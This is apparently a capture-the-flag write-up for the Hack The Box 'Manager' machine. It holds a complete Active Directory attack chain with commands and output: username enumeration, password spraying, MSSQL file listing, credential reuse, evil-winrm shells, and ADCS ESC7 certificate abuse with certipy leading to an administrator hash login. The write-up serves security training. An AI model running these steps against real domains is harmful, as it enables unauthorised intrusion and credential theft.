As always, we will start off with a port scan:
╰─ nmap -sC -sV 10.129.59.198
Starting Nmap 7.94SVN ( https://nmap.org ) at 2023-12-06 18:42 CST
Nmap scan report for 10.129.59.198
Host is up (0.031s latency).
Not shown: 987 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Manager
| http-methods:
|_ Potentially risky methods: TRACE
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2023-12-07 07:42:34Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: manager.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc01.manager.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc01.manager.htb
| Not valid before: 2023-07-30T13:51:28
|_Not valid after: 2024-07-29T13:51:28
|_ssl-date: 2023-12-07T07:43:54+00:00; +7h00m00s from scanner time.
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: manager.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2023-12-07T07:43:55+00:00; +7h00m00s from scanner time.
| ssl-cert: Subject: commonName=dc01.manager.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc01.manager.htb
| Not valid before: 2023-07-30T13:51:28
|_Not valid after: 2024-07-29T13:51:28
1433/tcp open ms-sql-s Microsoft SQL Server 2019 15.00.2000.00; RTM
| ms-sql-ntlm-info:
| 10.129.59.198:1433:
| Target_Name: MANAGER
| NetBIOS_Domain_Name: MANAGER
| NetBIOS_Computer_Name: DC01
| DNS_Domain_Name: manager.htb
| DNS_Computer_Name: dc01.manager.htb
| DNS_Tree_Name: manager.htb
|_ Product_Version: 10.0.17763
|_ssl-date: 2023-12-07T07:43:54+00:00; +7h00m00s from scanner time.
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2023-12-07T07:41:33
|_Not valid after: 2053-12-07T07:41:33
| ms-sql-info:
| 10.129.59.198:1433:
| Version:
| name: Microsoft SQL Server 2019 RTM
| number: 15.00.2000.00
| Product: Microsoft SQL Server 2019
| Service pack level: RTM
| Post-SP patches applied: false
|_ TCP port: 1433
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: manager.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc01.manager.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc01.manager.htb
| Not valid before: 2023-07-30T13:51:28
|_Not valid after: 2024-07-29T13:51:28
|_ssl-date: 2023-12-07T07:43:54+00:00; +7h00m00s from scanner time.
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: manager.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc01.manager.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc01.manager.htb
| Not valid before: 2023-07-30T13:51:28
|_Not valid after: 2024-07-29T13:51:28
|_ssl-date: 2023-12-07T07:43:55+00:00; +7h00m00s from scanner time.
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
|_clock-skew: mean: 6h59m59s, deviation: 0s, median: 6h59m59s
| smb2-time:
| date: 2023-12-07T07:43:18
|_ start_date: N/A
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 91.34 seconds
Alright, we’ve got a few things to look into:
- A DNS server on port
53 - An HTTP server on port
80 - Kerberos on port
88 - RPC on port
135 - NetBIOS on port
139 - LDAP on
389and3268 - Some active directory service on
445which might be SMB - Kerberos password services on
464 - RPC over HTTP on port
593 - SSL/LDAP on port
636and3269 - An SQL server on port
1433
We can also take note of the domain name(s) which are dc01.manager.htb and manager.htb respectively.
We can add these to our /etc/hosts file and begin looking around.
I decided to first try and get some valid usernames with kerbrute:
╰─ kerbrute userenum -d manager.htb --dc 10.129.59.198 /usr/share/wordlists/seclists/Usernames/cirt-default-usernames.txt
__ __ __
/ /_____ _____/ /_ _______ __/ /____
/ //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
/ ,< / __/ / / /_/ / / / /_/ / /_/ __/
/_/|_|\___/_/ /_.___/_/ \__,_/\__/\___/
Version: dev (9cfb81e) - 12/06/23 - Ronnie Flathers @ropnop
2023/12/06 20:02:14 > Using KDC(s):
2023/12/06 20:02:14 > 10.129.59.198:88
2023/12/06 20:02:14 > [+] VALID USERNAME: ADMINISTRATOR@manager.htb
2023/12/06 20:02:15 > [+] VALID USERNAME: Administrator@manager.htb
2023/12/06 20:02:15 > [+] VALID USERNAME: GUEST@manager.htb
2023/12/06 20:02:15 > [+] VALID USERNAME: Guest@manager.htb
2023/12/06 20:02:15 > [+] VALID USERNAME: OPERATOR@manager.htb
2023/12/06 20:02:15 > [+] VALID USERNAME: Operator@manager.htb
2023/12/06 20:02:16 > [+] VALID USERNAME: administrator@manager.htb
2023/12/06 20:02:16 > [+] VALID USERNAME: guest@manager.htb
2023/12/06 20:02:16 > [+] VALID USERNAME: operator@manager.htb
2023/12/06 20:02:17 > Done! Tested 828 usernames (9 valid) in 2.574 seconds
I’ll add the unique ones to a text file and try some password spraying:
╰─ kerbrute bruteuser -d manager.htb --dc 10.129.59.198 /usr/share/wordlists/seclists/Passwords/Common-Credentials/common-passwords-win.txt operator
__ __ __
/ /_____ _____/ /_ _______ __/ /____
/ //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
/ ,< / __/ / / /_/ / / / /_/ / /_/ __/
/_/|_|\___/_/ /_.___/_/ \__,_/\__/\___/
Version: dev (9cfb81e) - 12/06/23 - Ronnie Flathers @ropnop
2023/12/06 20:28:03 > Using KDC(s):
2023/12/06 20:28:03 > 10.129.59.198:88
2023/12/06 20:28:11 > Done! Tested 815 logins (0 successes) in 7.893 seconds
╭─ ~/Desktop/HTB/Machines/Medium/Manager/Writeup ✔ 8s
╰─ crackmapexec smb 10.129.59.198 -u users.txt -p /usr/share/wordlists/seclists/Passwords/Common-Credentials/common-passwords-win.txt
SMB 10.129.59.198 445 DC01 [*] Windows 10.0 Build 17763 x64 (name:DC01) (domain:manager.htb) (signing:True) (SMBv1:False)
SMB 10.129.59.198 445 DC01 [-] manager.htb\operator:aaa STATUS_LOGON_FAILURE
SMB 10.129.59.198 445 DC01 [-] manager.htb\operator:abc STATUS_LOGON_FAILURE
SMB 10.129.59.198 445 DC01 [-] manager.htb\operator:academia STATUS_LOGON_FAILURE
SMB 10.129.59.198 445 DC01 [-] manager.htb\operator:academic STATUS_LOGON_FAILURE
---SNIP---
SMB 10.129.59.198 445 DC01 [+] manager.htb\operator:operator
Wow, I’m glad that I was starting with the operator user. Let’s see if we can access anything with this user’s credentials.
Note: I don’t recommend doing this in a real environment because you might lock out the account by spraying like this. We can check the password policy using this:
╰─ crackmapexec smb 10.129.59.198 -u operator -p operator --pass-pol
---SNIP---
SMB 10.129.59.198 445 DC01 Account Lockout Threshold: None
This is the only reason we didn’t lock out of operator, so keep this in mind for any real world kind of engagements. You’d lose a client if you start locking out accounts for a routine pentest.
I wasn’t able to log into SMB with these credentials, but after a fresh installation of impacket, I was able to get into the SQL server:
╰─ python3 impacket-impacket_0_11_0/examples/mssqlclient.py manager.htb/operator:operator@10.129.59.198 -windows-auth
Impacket v0.11.0 - Copyright 2023 Fortra
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(DC01\SQLEXPRESS): Line 1: Changed database context to 'master'.
[*] INFO(DC01\SQLEXPRESS): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (150 7208)
[!] Press help for extra shell commands
SQL (MANAGER\Operator guest@master)>
Using this we can begin to look around the file system:
SQL (MANAGER\Operator guest@master)> xp_dirtree
subdirectory depth file
------------------------- ----- ----
$Recycle.Bin 1 0
Documents and Settings 1 0
inetpub 1 0
PerfLogs 1 0
Program Files 1 0
Program Files (x86) 1 0
ProgramData 1 0
Recovery 1 0
SQL2019 1 0
System Volume Information 1 0
Users 1 0
Windows 1 0
SQL (MANAGER\Operator guest@master)>
I looked in the Users directory and found out that there is a user called Raven. Knowing that there is a web application being hosted on port 80, I opted to look in the ientpub directory next.
SQL (MANAGER\Operator guest@master)> xp_dirtree /inetpub/wwwroot/
subdirectory depth file
------------------------------- ----- ----
about.html 1 1
contact.html 1 1
css 1 0
images 1 0
index.html 1 1
js 1 0
service.html 1 1
web.config 1 1
website-backup-27-07-23-old.zip 1 1
We see these same files referenced in the URL when we look at the HTTP site on port 80. I enter the following URL to download the zip archive from my browser so we can take a look.
The first file that looks cool is called .old-conf.xml and it contains credentials for that raven user we saw a minute ago:
We can then use these credentials to get a shell using evil-winrm. From here we can read the flag and keep going on to root.
╰─ evil-winrm -i 10.129.59.198 -u 'raven' -p 'R4*******************3'
Evil-WinRM shell v3.5
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Raven\Documents> cd ../Desktop
*Evil-WinRM* PS C:\Users\Raven\Desktop> ls
Directory: C:\Users\Raven\Desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-ar--- 12/6/2023 11:42 PM 34 user.txt
*Evil-WinRM* PS C:\Users\Raven\Desktop>
I wasn’t totally sure what to do with the privileges I found so I used a tool called certipy to look for vulnerable certificates using the raven user’s level of access.
First, I needed to set up the virtual environment for certipy:
#clone the repo
╰─ https://github.com/ly4k/Certipy
#make the virtual environment
╰─ virtualenv certipy.venv
#activate the environment
╰─ source certipy.venv/bin/activate
#run the setup script
╰─ python3 setup.py install
Once I did all this, I was ready to try out the program and hopefully gather some dangerous certificates:
╰─ certipy find -vulnerable -u raven -p 'R4*******************3' -dc-ip 10.129.59.198
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Finding certificate templates
[*] Found 33 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 11 enabled certificate templates
[*] Trying to get CA configuration for 'manager-DC01-CA' via CSRA
[*] Got CA configuration for 'manager-DC01-CA'
[*] Saved BloodHound data to '20231206215151_Certipy.zip'. Drag and drop the file into the BloodHound GUI from @ly4k
[*] Saved text output to '20231206215151_Certipy.txt'
[*] Saved JSON output to '20231206215151_Certipy.json'
Here is the text output that we can read over:
Certificate Authorities
0
CA Name : manager-DC01-CA
DNS Name : dc01.manager.htb
Certificate Subject : CN=manager-DC01-CA, DC=manager, DC=htb
Certificate Serial Number : 5150CE6EC048749448C7390A52F264BB
Certificate Validity Start : 2023-07-27 10:21:05+00:00
Certificate Validity End : 2122-07-27 10:31:04+00:00
Web Enrollment : Disabled
User Specified SAN : Disabled
Request Disposition : Issue
Enforce Encryption for Requests : Enabled
Permissions
Owner : MANAGER.HTB\Administrators
Access Rights
Enroll : MANAGER.HTB\Operator
MANAGER.HTB\Authenticated Users
MANAGER.HTB\Raven
ManageCertificates : MANAGER.HTB\Administrators
MANAGER.HTB\Domain Admins
MANAGER.HTB\Enterprise Admins
ManageCa : MANAGER.HTB\Administrators
MANAGER.HTB\Domain Admins
MANAGER.HTB\Enterprise Admins
MANAGER.HTB\Raven
[!] Vulnerabilities
ESC7 : 'MANAGER.HTB\\Raven' has dangerous permissions
We see that this should let us use an attack strategy labeled as ESC7 which we can read about on Hacktricks.
Following the instructions shown on that page, we can plan our attack. First, we will need to synchronize our time with the DC or else this will not work.
╰─ sudo ntpdate manager.htb
Then, we need to add ourselves as an officer:
╰─ certipy ca -ca 'manager-DC01-CA' -add-officer raven -username raven@manager.htb -password 'R4*******************3'
Next, we want to enable the SubCA template:
╰─ certipy ca -u raven -p 'R4*******************3' -ca 'manager-DC01-CA' -enable-template 'SubCA' -dc-ip 10.129.59.198
We then send a request that will fail, but we need to keep note of the request ID to approve it later:
╰─ certipy req -username raven@manager.htb -password 'R4*******************3' -ca 'manager-DC01-CA' -target dc01.manager.htb -template SubCA -upn administrator@manager.htb
We can then issue the failed request using the permissions that we already have:
╰─ certipy ca -ca 'manager-DC01-CA' -issue-request <request_ID_from_earlier> -username raven@manager.htb -password 'R4*******************3'
Finally, we can retrieve the issued certificate using that same request ID from earlier:
╰─ certipy req -username raven@manager.htb -password 'R4*******************3' -ca 'manager-DC01-CA' -target dc01.manager.htb -retrieve <request_ID_from_earlier>
Last, we use the private key we retrieved to get the administrator’s hash:
╰─ certipy auth -pfx "administrator.pfx" -dc-ip 10.129.59.198 -username 'administrator' -domain 'manager.htb'
You should get the administrator hash returned to you and you can log in as administrator using evil-winrm and the hash:
╰─ evil-winrm -i 10.129.59.198 -u 'administrator' -H 'ae****************************ef'
Evil-WinRM shell v3.5
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents>